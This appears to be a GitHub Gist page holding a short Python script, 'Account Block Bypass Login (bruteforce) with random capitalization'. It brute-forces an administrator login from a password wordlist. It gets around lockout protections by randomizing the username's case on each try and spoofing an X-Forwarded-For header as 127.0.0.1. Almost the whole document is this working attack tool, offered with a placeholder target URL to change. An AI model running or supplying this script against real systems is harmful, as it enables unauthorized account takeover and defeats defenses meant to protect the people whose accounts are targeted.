Created
June 7, 2021 05:42
-
-
Save aniqfakhrul/81c2de303656e8e098ba9962d957f71c to your computer and use it in GitHub Desktop.
Account Block Bypass Login (bruteforce) with random capitalization
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import random | |
import requests | |
url = "http://localhost/index.php" # change to your target url | |
username = "administrator" | |
def randomize(s): | |
result = '' | |
for c in s: | |
case = random.randint(0, 1) | |
if case == 0: | |
result += c.upper() | |
else: | |
result += c.lower() | |
return result | |
def brute(username,password): | |
headers = { | |
'X-Forwarded-For': '127.0.0.1' | |
} | |
data = { | |
'username': username, | |
'password': password | |
} | |
res = requests.post(url, data=data, headers=headers) | |
if 'Wrong' not in res.text: | |
return True | |
else: | |
return False | |
def main(): | |
# read from wordlist | |
with open("fasttrack.txt", "r") as f: | |
for line in f.readlines(): | |
if brute(randomize(username),line.strip()): | |
print("Password found: %s" % line) | |
break | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment